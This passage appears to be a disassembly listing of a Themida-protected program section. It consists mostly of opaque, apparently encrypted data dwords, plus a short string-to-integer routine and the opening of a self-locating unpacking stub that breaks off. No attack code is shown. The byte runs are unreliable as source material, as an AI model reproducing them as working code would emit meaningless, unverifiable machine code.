		dd 0CD9FE6F6h, 835A5306h, 481239BDh, 840F0006h,	45Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 55C35646h, 0B167FD15h
		dd 75D18293h, 15CD9D8Bh, 0BD830648h, 64804B9h, 4A840F02h
		dd 8B000000h, 48172D95h, 0D1BD8306h, 1064812h, 37850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0E80671C3h, 0Eh, 0CF012FB7h, 0CBCD02EDh
		dd 88D31FE3h, 0F281BE73h, 22BD95A9h, 51BD835Bh,	64806h
		dd 84840Fh, 9D8B0000h, 6481491h, 0E6ABB60h, 0EE805CEh
		dd 99000000h, 0EF5FE744h, 77AFA6AFh, 0E6CE558Dh, 0D5BD89A7h
		dd 5A06480Ah, 4DF88D8Bh, 0E2810648h, 15CE2557h,	6A01FEh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0BA5F3FC3h, 77886921h, 91B5F468h, 26BA66D4h,	240481BEh
		dd 2B6E4A8Ch, 31758589h, 0FF6A0648h, 17798D89h,	95FF0648h
		dd 6482039h, 61D88B66h,	0ED72C381h, 23602BF1h, 4808799Dh
		dd 0F88D8B06h, 6A06484Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0CFA2C355h,	0FE9E484h
		dd 8C000000h, 0EF8239F2h, 4F943AA8h, 8A871C08h,	1FEE00Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E9C35242h
		dd 4E88436h, 80000000h,	66000000h, 508D73BBh, 840Fh, 448B0000h
		dd 8B0424h, 4489DAB2h, 52500424h, 0FD78B66h, 0D18B5331h
		dd 58585A5Bh, 311D9589h, 0F2810648h, 3B5B5F4Fh,	0B70FFF6Ah
		dd 3995FFD3h, 6A064820h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 456BC350h, 0D8A2EC65h
		dd 81F427C9h, 8822C3CAh, 6BBB6126h, 89160A23h, 482AD18Dh
		dd 45BD8D06h, 6A064801h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 24EDC353h, 85D0A927h
		dd 8B661F45h, 8BDA8BD8h, 0C6801C4Fh, 6A016A85h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 935C352h, 48000995h,	8B0F5006h, 0Dh,	8E9h, 8E568F00h
		dd 435CFC49h, 240C89BCh, 858D5B51h, 64B390Bh, 18B0Fh, 0FFF90000h
		dd 7D958BD0h, 8B064829h, 9D8B204Fh, 64811D1h, 0B70F036Ah
		dd 0CB8166D7h, 0F50A8AEh, 86h, 240C8900h, 8D8BDB80h, 4B390B85h
		dd 9AF28106h, 0FF139546h, 1B589D0h, 8D064804h, 480145BDh
		dd 4A86BA06h, 4F8B20CCh, 6DBD891Ch, 0E9064812h,	12h, 0E9EAB6Eh
		dd 96D8C9D3h, 5DADA8F8h, 0ECA2B831h, 16A8D51h, 13E9h, 72845D00h
		dd 5B0F8512h, 0E079A96Eh, 0FAAB2A2Bh, 0EDCE77Bh, 8983B650h
		dd 6A240Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 7EC1E2C3h, 49B76399h, 0B21958Bh, 8B660648h
		dd 0B858DDEh, 29064B39h, 4813298Dh, 0B90FBA06h,	0D0FF13B7h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0F3C35343h
		dd 0C7F7F2AAh, 1EF0B7C4h, 85895A52h, 6480DDDh, 6A204F8Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0D46CC351h, 13099503h, 36A0648h, 6E52EA81h
		dd 50506BDCh, 61606052h, 0F310F61h, 683h, 0F525000h, 5A585A31h
		dd 240C8958h, 28C1958Bh, 858D0648h, 64B390Bh, 0D0FFD4B6h
		dd 1B218531h, 8D8B0648h, 6484DF8h, 21C5BD89h, 1FE0648h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A0C35343h
		dd 0F68D9E48h, 858B083Eh, 6484DF8h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 9CC35747h, 0DA59D2Bh, 77B20648h
		dd 0BF0F00FEh, 66016AD6h, 681F65BAh, 0DB672224h, 48135B6h
		dd 987DDB24h, 4D952B24h, 8D06481Bh, 4B391585h, 0FFDC8A06h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 3D66021Ch, 0BD83030Fh, 64805E5h,	0B5840F00h
		dd 53000000h, 0B589F960h, 64807D9h, 0BD835B61h,	64830E5h
		dd 9D850F01h, 0F000000h, 8D8DDFBFh, 64B391Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 42C35343h, 357FB21Ah
		dd 6A54BD0Bh, 5FCB8103h, 6A290395h, 52006A01h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 6DCC12E3h
		dd 0C78BB880h, 81958998h, 0FF064807h, 9D2950D1h, 6480BC5h
		dd 458D295Bh, 6A06480Ah, 0D0B70F01h, 9589016Ah,	6480489h
		dd 0EE9D1FFh, 2C000000h, 4F49135Ch, 4E307AF7h, 0E4EF8E24h
		dd 5CDFE8E3h, 958BFA13h, 6480421h, 6660206Ah, 6C7AE381h
		dd 0FE82BA66h, 89606061h, 480839B5h, 810F06h, 61000000h
		dd 69D9529h, 6A610648h,	0AEBB66FFh, 5BF85764h, 203995FFh
		dd 0DA810648h, 28BEE751h, 0B8h,	0A840F00h, 60000000h, 0D7815B52h
		dd 22C8A789h, 0B23B761h, 51840FC0h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0EFDBC353h, 649CF6EBh, 0D68B2A0Ch, 2B2DBD83h, 0F000648h
		dd 1F84h, 0AD958B00h, 0FF064812h, 48099595h, 66606006h
		dd 8BFD71BBh, 48299DB5h, 0E7BA6106h, 617D1D9Dh,	1551858Bh
		dd 0CE90648h, 0D9000000h, 1C617763h, 0DBF903AEh, 0C6D0B911h
		dd 0BB660000h, 6A580B97h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0D633C352h,	0D18BB259h
		dd 6AD98C66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0E959C356h, 9,	0EB6A2A88h, 66B13023h
		dd 4C1F622h, 64840Fh, 8D0F0000h, 4, 0D71BA66h, 55E9h, 0DE900h
		dd 23CC0000h, 0CF5C2823h, 49F7B41Eh, 8B8E6C7Bh,	48182DB5h
		dd 0E2DB8106h, 810148F7h, 1180C6h, 0AD952900h, 0C7064827h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 358E4A18h, 89699954h, 665E572Eh
		dd 0F883D08Bh, 0AD840F00h, 8900000Bh, 480B29BDh, 1F88306h
		dd 136850Fh, 0E9600000h, 0Eh, 2785BABDh, 0F1B61F20h, 0E19AC295h
		dd 0B8614AFBh, 0
		dd 8BDF8B66h, 480BE19Dh, 0FC00B06h, 8C84h, 0AD8D8900h
		dd 83064827h, 840F01F8h, 0BDh, 68D0Fh, 95890000h, 6480635h
		dd 0F03F883h, 2684h, 79958900h,	0B8064818h, 0
aXJnTy		db '»ÔX¹J½ty[',0
		db 29h
		dd 4826E9BDh, 51E7FF06h, 0F9D8D09h, 0B85A0648h,	1, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 61C35242h, 9D0930E1h
		dd 6483001h, 2058531h, 0BD8D0648h, 5B7974h, 20198D89h
		dd 0E7FF0648h, 5AF28166h, 84BD8DCBh, 6A064844h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 774BC353h, 0DAB70F59h, 350E9h, 9E800h, 0FCC0000h, 18A160B8h
		dd 0BB5F19B4h, 337F0884h, 5385C75Bh, 506484Eh, 66000000h
		dd 5B8D68Bh, 8A000000h,	9ECE9DCh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 6159F7C3h
		dd 0F281EEAEh, 40F6CD23h, 0F02F883h, 16785h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0FC1E07BEh, 0FDCF62Bh, 68Dh,	0BD28100h, 0B8533E1Dh
		dd 0
		dd 1C11958Bh, 0C00B0648h, 0D1840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 668AECC3h
		dd 0AB46CB81h, 0F01F883h, 0FFFF4C84h, 51006AFFh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0E89BDEE9h, 13h, 39EB187Eh, 38B96969h, 8CCE9B28h, 0B6107EA6h
		dd 565538BCh, 886EE381h, 5A5B4771h, 1735B589h, 85290648h
		dd 648044Dh, 0F03F883h,	0FFFE7684h, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0C02BBDD0h
		dd 1246CB81h, 0BD8D3C28h, 5B7974h, 0FFD18B66h, 51006AE7h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 515CC4DEh, 8D5BD68Bh, 48467CBDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0C9DF939Ch
		dd 9D8BF46Ch, 6482991h,	1B0E9h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 66438F46h
		dd 3AD8D381h, 0F03F883h, 7485h,	0D7B70F00h, 178E0Fh, 12E90000h
		dd 33000000h, 0A2F1ADF4h, 0FB3832ABh, 0F1F41753h, 30A457CBh
		dd 10BD8D48h, 6A064848h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0E8AAC353h,	57912FC7h
		dd 36E9649Ah, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 829EC356h, 98CCA80h
		dd 4816FDBDh, 5F88306h,	14850Fh, 0F3810000h, 38E058DDh
		dd 7C5E9h, 199D8B00h, 66064806h, 0F883DE8Bh, 53850F06h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 4048C351h, 84194BE2h, 8DD08AFEh
		dd 484A08BDh, 69958B06h, 0E9064828h, 0B5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9DC35242h, 0F883B9B2h
		dd 45850F07h, 51000000h, 17ADB529h, 295B0648h, 48101185h
		dd 0E5BD8D06h, 6A06481Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 54D5C351h, 0D69BB79h
		dd 24BA1C27h, 0E97197D6h, 116h,	678BBB66h, 0F0AF883h, 4085h
		dd 7AEA8100h, 0BB6AC7F4h, 64A967CBh, 4C00BD8Dh,	6A0648h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 3B765EC3h, 0D27832EBh, 6E94F99h, 8B000000h, 48102595h
		dd 6A5706h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 66B343C3h, 800FD68Bh, 2, 51B918B6h, 66309613h
		dd 870FD38Bh, 6, 3161BD09h, 3F830648h, 59840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 7944C353h, 0CEAA37B5h, 92CD73ADh,	27D59589h
		dd 9D8B0648h, 64822BDh,	9D230F30h, 6482939h, 6652C9D1h
		dd 5A9A9ABAh, 0DD958B47h, 0E9064832h, 0FFFFFFAAh, 68C0Fh
		dd 958B0000h, 6483195h,	56006A5Fh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 8AD7B348h, 99F704FAh
		dd 0CF80427Ah, 0BD89F853h, 6484DFCh, 0AFBED2BAh, 9D8D8D1Bh
		dd 8A064800h, 0D9B5FFD1h, 8B06481Ah, 0C7858DD0h, 50064A9Dh
		dd 54F7BD8Dh, 8D8D0648h, 6486F82h, 831ABCB8h, 30CF2B54h
		dd 47C8D007h, 8DF87549h, 486F23B5h, 9A8D8D06h, 2B06486Fh
		dd 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h, 6482B2Dh
		dd 0FF067400h, 48099595h, 0FCB58B06h, 8D06484Dh, 4A9DC785h
		dd 8DD0FF06h, 48425085h, 0C7D0FF06h, 4813D185h,	106h, 9A58B00h
		dd 8B064827h, 4830C5B5h, 0B9AD8B06h, 33064815h,	0CC2C0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8C35545h
		dd 8B1DB7A4h, 48306195h, 0EDBD8306h, 6482Eh, 4F840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 3F41C4C3h, 0FF89B655h, 48229D95h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0B5F2368h
		dd 562C8B1Fh, 0BF0FC49Dh, 0B5BD83DFh, 64805h, 1DF850Fh
		dd 9D8B0000h, 64815B1h,	30E5BD83h, 0F010648h, 1CC85h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 41CF2579h, 8B07C290h, 4802FD95h, 55BD8306h, 6480Ah
		dd 197840Fh, 8B600000h,	482C15BDh, 0D3B70F06h, 4FBD8361h
		dd 6484Eh, 17F840Fh, 0B5090000h, 6483035h, 27D19523h, 858D0648h
		dd 64A9DC7h, 0DE9F5h, 0C5E80000h, 374CC6F6h, 0A472BBBh
		dd 8B677CBBh, 484DFCB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 6B5652C5h, 66769AB9h
		dd 0D0FFD08Bh, 0C620DB80h, 480FF985h, 6A5406h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 29B83EC3h, 41457F82h, 4E8h, 4EBEF400h, 0F8BA66FFh, 33B65070h
		dd 424448Bh, 0AE9h, 0FC094900h,	23CD6A9Ch, 8BFEC032h, 0C8D0F00h
		dd 0E9000000h, 7, 2D65EC16h, 89CF3DA6h,	60042444h, 0D38B6660h
		dd 310F5250h, 0E861585Ah, 5, 6898037Fh,	8C0FD2h, 59000000h
		dd 0F515861h, 0FF5AD3BFh, 480ED5B5h, 0F9B50906h, 8D064817h
		dd 4838BA85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 2AAB7A68h, 0E873342Bh, 0Ch, 9D4F4F91h
		dd 9C1E2783h, 8A10620Ch, 20D9D8Bh, 0FF5A0648h, 6AFCD0h
		dd 5118D89h, 0FF6A0648h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 0A8C35646h, 0C1B9D08Dh, 16C99D29h, 0D0FF0648h
		dd 5B5FFF8h, 60064833h,	3179958Bh, 0FF610648h, 481AD995h
		dd 6E906h, 7B830000h, 0DB8B2CCEh, 0FCB58BF9h, 6A06484Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 3B94C356h, 564DF861h, 5AD1BF0Fh, 8BD88AC3h
		dd 481551B5h, 0D838BB06h, 0F60B7EBCh, 37840Fh, 9600000h
		dd 4815ADB5h, 0B5895106h, 64826C5h, 6C6615Bh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0B5894D40h, 64807A5h, 48589F9h, 6A06484Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 883DC355h, 83D0B70Fh, 840F00F8h, 2F0h, 58B0F60h, 0B8000000h
		dd 607F2251h, 0B861h, 44B30000h, 0F00F883h, 9F84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0D2059E50h, 0F8832644h, 5F850F02h, 8B000000h, 4827BD9Dh
		dd 7F858D06h, 0FC064844h, 9292Dh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 81B190A6h
		dd 97E940DBh, 8B66903Ch, 890F50D1h, 16h, 0FE951h, 0E8B10000h
		dd 44313174h, 0FB370CBFh, 0E2F6D930h, 0F905B71h, 80C3D9BFh
		dd 0B88FE6h, 29000000h,	482FADB5h, 23AE906h, 9D330000h
		dd 648231Dh, 1B8h, 85895300h
		dd 6481455h, 84BD8D5Bh,	6A064844h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B915C355h
		dd 10E9461Ch, 8C000000h, 8B5298FDh, 6B7DBB91h, 302A4E9Eh
		dd 0E9B7659Eh, 0E6h, 11A9958Bh,	95310648h, 64832A1h, 0F02F883h
		dd 4985h, 0F9BD0900h, 8D064804h, 48467CBDh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 4E77DA2Bh, 0E9EDF801h, 0Fh, 95A6D57Ah, 61A9A6D1h, 545ED61Eh
		dd 0E9350E68h, 8Ah, 0F883D18Bh,	57850F03h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 1CFC357h, 0BD8D006Fh, 6484810h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0F4C35545h,	0E200A0C0h, 0FD5D818Bh
		dd 1475BD89h, 2BE90648h, 66000000h, 0F883D98Bh,	1F850F05h
		dd 66000000h, 77E9D98Bh, 0E9000000h, 12h, 7A356C38h, 1B77CDF6h
		dd 9F4A6B69h, 0A017DF01h, 0BA57F6B1h, 485B6DB1h, 961351B9h
		dd 83F08A30h, 840F003Fh, 4Ah, 0C149D381h, 0F3067C3h, 20219D0Bh
		dd 0C9D10648h, 6A47DE8Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 5E97C355h, 66396EABh
		dd 0F5D71BAh, 289h, 0E95A5200h,	0FFFFFFB3h, 9F98529h, 0F8830648h
		dd 99850F05h, 89000000h, 4828118Dh, 0D98C6606h,	10E8h
		dd 779D1B00h, 19CE9EEBh, 0D385EE61h, 0F72D1C8Eh, 55D280C8h
		dd 4C1F65Ah, 3C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 699AFAC3h, 11B98074h
		dd 0B8h, 41E9F900h, 8B000000h, 481C2D95h, 3840F06h, 66000000h
		dd 858BDE8Bh, 64822E5h,	0E0FFE5B3h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 94C35242h, 0D71404A1h, 6650DC75h
		dd 5BDB87BBh, 1AD9BD83h, 0F000648h, 11085h, 0F7E38100h
		dd 8A72473Bh, 76BA90DAh, 5061F65Ch, 90D38B66h, 0C6DE8B66h
		dd 480FF985h, 9D684506h, 8B239277h, 240481DEh, 6ADFF1CCh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5CC35646h
		dd 3D9D8BD0h, 0FF06480Ch, 480ED5B5h, 91852906h,	8D064813h
		dd 4838BA85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 6F9EDAE0h, 5169DE47h, 51C7D281h
		dd 0FF5B59B7h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 28F364A1h, 8BEEE3CCh
		dd 48312D95h, 0E99D8B06h, 89064813h, 481AD985h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 57B222F7h, 0A5EE4105h, 7E9h,	25934200h, 0A5C28E41h
		dd 8370EA81h, 0F5864BCh, 689h, 0DECA8100h, 6049B713h, 751B533h
		dd 95090648h, 648281Dh,	53BD8361h, 6484Eh, 4B840Fh, 11E90000h
		dd 21000000h, 4C549212h, 46E9DA5Dh, 0F72CDADEh,	4CB0E651h
		dd 3305B5FFh, 0BD890648h, 648065Dh, 0CE9h, 2BBC3700h, 0D45FE636h
		dd 2251BB75h, 0D995FFBCh, 0F06481Ah, 681h, 4D958B00h, 8906482Ch
		dd 4814E995h, 0F88306h,	10F850Fh, 12E90000h, 7F000000h
		dd 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h, 8B06B56Eh,	91BD8345h
		dd 64800h, 0B3840Fh, 0BB660000h, 0B5FF30B8h, 6480091h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D9C35545h
		dd 0F17428EBh, 4D95314Bh, 0E9064800h, 14h, 8691FCECh, 4A9CDC5Dh
		dd 3E442A1Ah, 45CC0A4Eh, 0D01355B0h, 1B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 11222462h, 0C933F042h, 9D09F878h, 6480655h, 1B7E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 3160ABD9h, 480BADB5h, 0AE906h, 0A1E40000h
		dd 4AA4A134h, 0D8053C92h, 5B5FF61h, 89064833h, 480E75BDh
		dd 5B5FF06h, 0F064833h,	0B589DBB7h, 6483125h, 1AD9B5FFh
		dd 9D2B0648h, 648297Dh,	2BB1B531h, 51E90648h, 29000001h
		dd 480A2DBDh, 0B5315F06h, 6481451h, 15D5BD83h, 0F000648h
		dd 9B85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 3584CEA3h, 1A399D8Bh, 85C60648h
		dd 6480FF9h, 0E281664Dh, 0B4680776h, 8B885FB5h,	240481DEh
		dd 1BD5C0F4h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	4FC35747h, 0DE9676C3h, 0BD443FAAh, 2DB5FFE7h, 8106482Fh
		dd 0E6B95FDAh, 0BA858D47h, 31064838h, 4829498Dh, 0E9D0FF06h
		dd 9, 0D6450235h, 0FB300D4Bh, 0D585892Bh, 80064815h, 9D8B16DAh
		dd 6480D99h, 0B8h, 65852900h, 89064831h, 484DFCBDh, 61BD8906h
		dd 81064830h, 1BD971F3h, 0FC00B06h, 3184h, 8D8B6000h, 64808E9h
		dd 6AE961h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 160424h, 57470000h, 3CAB94C3h, 23919D8Bh, 0B5FF0648h
		dd 6481AD9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	29C35242h, 858D1AE2h, 64A9DC7h,	8820Fh,	860F0000h
		dd 2, 0F50D18Bh, 28Dh, 89D08B00h, 41B62404h, 0BD8D5650h
		dd 64854F7h, 79DC8D8Dh,	0BCB80648h, 2B748323h, 0D00730CFh
		dd 754947C8h, 83585EF8h, 480091BDh, 6740006h, 0CED8D8Bh
		dd 0C9330648h, 0B8h, 0FC00B00h,	9984h, 2DBD8300h, 6482Bh
		dd 95FF0674h, 6480995h,	0B8h, 75C00B00h, 4BD8309h, 106484Eh
		dd 0BD830974h, 6484E04h, 8B0E7502h, 484DFCB5h, 0C7858D06h
		dd 0FF064A9Dh, 50858DD0h, 0FF064842h, 0B9BD83D0h, 2064804h
		dd 0A58B2F75h, 6482709h, 91858Bh, 4890648h, 0D185C724h
		dd 1064813h, 8B000000h,	484E00B5h, 0B9AD8B06h, 0B8064815h
		dd 1, 0EB000CC2h, 0D185C700h, 1064813h,	8B000000h, 482709A5h
		dd 0C5B58B06h, 8B064830h, 4815B9ADh, 0C2C03306h, 0BD83000Ch
		dd 6482EEDh, 830F7400h,	48229DBDh, 6740006h, 229D95FFh
		dd 0B58B0648h, 6484DFCh, 7E8C3h, 799F0000h, 1609D34Eh
		dd 14E929h, 0F87A0000h,	109B9ABCh, 0D89E2DEDh, 0C741BCD5h
		dd 0E76F3Eh, 0E95A3723h, 10h, 1EC2B1D4h, 0D5874DF1h, 9C092921h
		dd 6AF1E5E1h, 0BAh, 0DFB70F00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_540FCC
; ---------------------------------------------------------------------------


loc_540FCA:				; CODE XREF: Themida_:00540FCFj
		inc	eax
		inc	edi


loc_540FCC:				; CODE XREF: Themida_:00540FC8j
		cmp	byte ptr [edi],	0
		jnz	short loc_540FCA
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_540FFB
; ---------------------------------------------------------------------------


loc_540FD8:				; CODE XREF: Themida_:00540FFDj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_540FF0
; ---------------------------------------------------------------------------


loc_540FED:				; CODE XREF: Themida_:00540FF3j
		mul	ebx
		dec	esi


loc_540FF0:				; CODE XREF: Themida_:00540FEBj
		cmp	esi, 0
		ja	short loc_540FED
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_540FFB:				; CODE XREF: Themida_:00540FD6j
		or	eax, eax
		jnz	short loc_540FD8
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 6Ah,	0, 57h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 9D09AE76h, 6481601h,	0E8D68B66h, 0Ch, 0C60E9B68h, 0E8657914h
		dd 0AD9215E8h, 23BDB589h, 665A0648h, 0C18BDE8Bh, 218FAE9h
		dd 59003F00h, 2, 5A99E000h, 5A9ED200h, 59002800h, 5A9ED202h
		dd 12FF6800h, 24600h, 200h, 100h, 300h,	0B94BD00h, 0FAh
		dd 4 dup(0)
		dd 54924900h, 54793D00h, 542A4100h, 54D9D400h, 5447BD00h
		dd 546A1900h, 54ACC900h, 541AF200h, 5488FF00h, 54719400h
		dd 547C8500h, 546C7000h, 5455BB00h, 54889300h, 546D2800h
		dd 54BB9500h, 54555F00h, 54AA6E00h, 54340E00h, 54838100h
		dd 546E8700h, 54817900h, 5436A600h, 543FDA00h, 54A5F700h
		dd 542A6000h, 54199700h, 5490FA00h, 54CA7200h, 543AE600h
		dd 544F0000h, 54290900h, 54292F00h, 5499F700h, 54BDE300h
		dd 54C85200h, 547DCB00h, 54D82C00h, 54220C00h, 545A8E00h
		dd 54D02400h, 54C02E00h, 549DE100h, 5487F000h, 545FEB00h
		dd 5481C000h, 54366400h, 54BD5E00h, 54C5E800h, 547D6100h
		dd 546A8700h, 54AAA700h, 54B2A200h, 54ABBD00h, 5421D700h
		dd 546B0B00h, 5483FE00h, 54980D00h, 549B2000h, 54926D00h
		dd 54524400h, 54752600h, 5433D300h, 54763700h, 54A75100h
		dd 54295200h, 54593C00h, 548F0200h, 54339A00h, 548C0A00h
		dd 54C31D00h, 54197500h, 54AA3C00h, 54B81C00h, 5445C300h
		dd 54686E00h, 54B1BB00h, 5439D200h, 544F2900h, 54AF7B00h
		dd 54BA1B00h, 54BC7400h, 5488C000h, 54C93E00h, 546D7A00h
		dd 543F2400h, 5425EC00h, 54D6EA00h, 542A4A00h, 54B03600h
		dd 54880A00h, 54575200h, 5427BD00h, 544A0300h, 544ED100h
		dd 54807B00h, 542EFE00h, 5487E800h, 546C8900h, 54513000h
		dd 54D94E00h, 54195000h, 54D0AA00h, 54352A00h, 545A5800h
		dd 54BDD200h, 54212300h, 5482EB00h, 5463E700h, 54C9B800h
		dd 54BB0300h, 54C18800h, 54712500h, 541B0500h, 54900B00h
		dd 541C7900h, 54176C00h, 54A4FC00h, 549DAF00h, 54A08500h
		dd 548BF000h, 543F6000h, 54954A00h, 54CED600h, 54B0E300h
		dd 543FAF00h, 54462600h, 54B3DC00h, 5497D300h, 549DBD00h
		dd 54725A00h, 54569F00h, 54A2E500h, 548B2A00h, 54C5A600h
		dd 54513D00h, 5453BC00h, 545CE800h, 549F6700h, 54C53000h
		dd 54D21B00h, 54CF5F00h, 5439DC00h, 54D99400h, 54527100h
		dd 54625400h, 54764F00h, 542B7700h, 542BEA00h, 54A26600h
		dd 54994A00h, 542D3400h, 5481FB00h, 54A04A00h, 54282700h
		dd 54800C00h, 54427900h, 5469DD00h, 54CD6E00h, 546ABB00h
		dd 547F9200h, 54BE8100h, 544C4B00h, 5485A500h, 54AEA900h
		dd 5422A800h, 5455D000h
		db 0
; ---------------------------------------------------------------------------


loc_541331:				; CODE XREF: Themida_:005631A6j
					; Themida_:0056D782j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6487E7Ch
		mov	eax, edi
		add	edi, 6487B94h
		cmp	eax, [edi+2Ch]
		jnz	short loc_54134F
		jmp	short loc_541362
; ---------------------------------------------------------------------------


